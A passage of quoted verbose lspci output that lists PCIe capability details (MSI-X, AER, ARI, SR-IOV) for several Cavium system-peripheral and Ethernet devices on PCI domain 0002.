> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:17:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 856200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd000000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:18:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 857200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd080000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:19:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 858200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd100000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:1a:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 859200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd180000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:1b:00.0 Ethernet controller: Cavium, Inc. Device a0e2 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 85a200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd200000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=256 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a000
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:1c:00.0 Ethernet controller: Cavium, Inc. Device a0e0 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 85b200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd280000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=256 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 1, Total VFs: 1, Number of VFs: 1, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0e1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:1d:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 85c200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd340000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 8, Total VFs: 8, Number of VFs: 8, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:1e:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 85d200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd640000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
